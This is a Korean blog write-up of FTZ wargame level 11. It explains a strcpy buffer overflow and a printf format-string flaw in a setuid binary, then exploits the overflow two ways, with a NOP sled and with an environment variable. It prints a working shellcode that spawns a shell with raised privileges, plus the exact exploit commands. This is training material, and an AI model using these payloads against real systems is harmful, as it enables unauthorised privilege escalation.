[FTZ] level11
level11 로 로그인을 하고
파일을 확인해 보면, hint 파일과 attackme 라는 파일이 있다.
hint 안에는 코드는 attackme의 코드에 해당되는 거 같다.
이번 문제도 저번 level9와 같이 bof를 이용해야 하는 문제이다.
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
코드를 확인하게 되면,
main 함수에서 인자값을 받는다.
▶ [참고] 2023.01.31 - [시스템/시스템 해킹] - main 함수 인자
그리고, strcpy라는 취약한 함수가 있는데 특별히 길이 값에 대한 검증을 하지 않아서
이미 앞에 256bytes로 설정을 했지만, 더 길게 입력해도 된다.
▶ bof (buffer overflow) 공격 가능
또한, 형태에 대한 검증 또한 하지 않아서 (str을 문자를 받기 위해서는, "%s"로 설정해줘야 함)
▶포맷 스트링 공격 가능
문제는 bof 공격으로 해결해 보도록 하겠다.
gdb를 통해서 attakme 파일을 분석해 보면 다음과 같다.
disass main을 하게 되면 %가 붙은 것을 봐서 AT&T 문법을 사용한다.
더 익숙한 다시 인텔문법으로 바꾼 다음에 main함수를 disass 한다
(gdb) set disassembly-flavor intel
(gdb) disass main
그러면
push ebp
mov ebp, esp
로 main함수가 시작되고
우리가 공격하고자 하는 strcpy함수를 보게 되면, 함수 실행 전에 인자값을 넣기 위해서
lea eax, [ebp-264]
push eax
call strcpy
을 보게 되면 우리가 알고 있는 str 변수의 길이는 256byte인데,
여기서는 264bytes가 들어가는 것을 통해서 8byte 더 할당 된것을 알 수 있다.
정리해서 stack구조를 그리면 아래와 같다. (main함수 인자값 크기 생략)
main함수에서 argv[1]로 입력받은 인자가 str 문자열로 저장이 될 텐데
strcpy 함수가 실행되면서 이 부분의 길이를 검증을 하지 않으니,
main 함수의 RET 부분을 원하는 주소(shellcode 주소)로 덮으면 될 거 같다.
쉽게 아래처럼 으로 shellcode 주소를 str에 넣고 그 주소를 ret에 넣어서 풀려고 시도했는데,
함수를 실행할 때마다 메모리값이 계속 바뀌는 보호기법인 ASLR이 걸려있기 때문에 방법을 이용해야 한다.
다른 방법으로는 2가지가 있다.
1. NOP Sled bof
* NOP (No Operation) : 아무 일도 하지 않는다는 뜻으로 NOP을 만나면 다른 값을 만날 때까지 넘어간다.(\x90)
shellcode의 주소를 정확하게 알기 어려울 경우 사용됩니다.
1) str앞부분에 NOP로 가득 채운 후 뒤에 shellcode를 넣음
2) RET부분에서 NOP부분 중 하나를 가리키면 넘어가서 shellcode를 만나면 실행
2. 환경변수 이용 bof
1) main함수에서 인자값이 주어질 때 argv[0]이 함수경로, argv[1]이 인자값, 마지막 agrv[2] (인자값이 여러 개일 경우 2가 아닐 수 있음) 이 환경변수를 나타낸다. ▶ [참고] 2023.01.31 - [시스템/시스템 해킹] - main 함수 인자
2) 환경변수에 shellcode를 저장한다
3) 파일을 실행할 때, 환경변수 값으로 shellcode가 있는 값을 입력한다.
4) str 값을 입력할 때 환경변수의 주소를 넣는다.
+ 참고 : 쉘코드 (길이 39bytes)
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
1. NOP Sled를 이용한 BOF
stack 구조를 그리면 아래와 같다.
RET 전까지 길이는 (str)256+(dummy)8+(sft)4=268bytes 이고,
shellcode의 길이가 39bytes이므로
NOP(229bytes)+shellcode(39bytes)+RET(4bytes) 의 구조로 인자값을 구성
RET에 어떤 값을 넣기 위해서 gdb를 통해서 확인
아래와 같이 main+53에 break point를 설정한 다음에
함수에 인자값을 준 다음 실행을 시키고 나서 $esp의 메모리를 확인
(gdb) b *main+53
(gdb) r `python -c 'print "\x90"*229+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff\xff\xff\xbf"'`
(gdb) x/100 $esp
두번 실행을 해보았는데 주소가 조금씩 달라지는걸 확인(ASLR)이 가능합니다.
(gdb)에서 \x90이 들어갈 대략적인 메모리 주소 넣고 성공할 때까지 입력해서 시도해 보면,
성공!!
$ ./attackme `python -c 'print "\x90"*229+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x0f\xfb\xff\xbf"'`
2. env(환경변수)를 이용한 BOF
stack 구조를 그리면 아래와 같다.
* 환경변수에 쉘코드를 등록하면 스택의 환경변수 영역에 자동으로 올라간다고 합니다!
1) 환경변수에 shellcode 입력하기
$ export SHELL=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
env | grep SHELL 을 통해서 제대로 입력됐는지 확인해 보았다.
2) SHELL이 있는 주소를 확인
#include <unistd.h>
int main(void)
{
printf("%p\n",getenv("SHELL"));
return 0;
}
3) stack 구조에 주소를 넣어서 저장
str(256bytes)+dummy(8bytes)+sft(4bytes) ▶ 268bytes 길이에 'a' 삽입
ret에 SHELL 주소 저장(0xbffffc2c)
$ ./attackme `python -c 'print "A"*268+"\x2c\xfc\xff\xbf"'`
성공!
Reference :
https://mandu-mandu.tistory.com/34
https://grayfieldbox.tistory.com/entry/FTZFree-Training-Zone-Level-11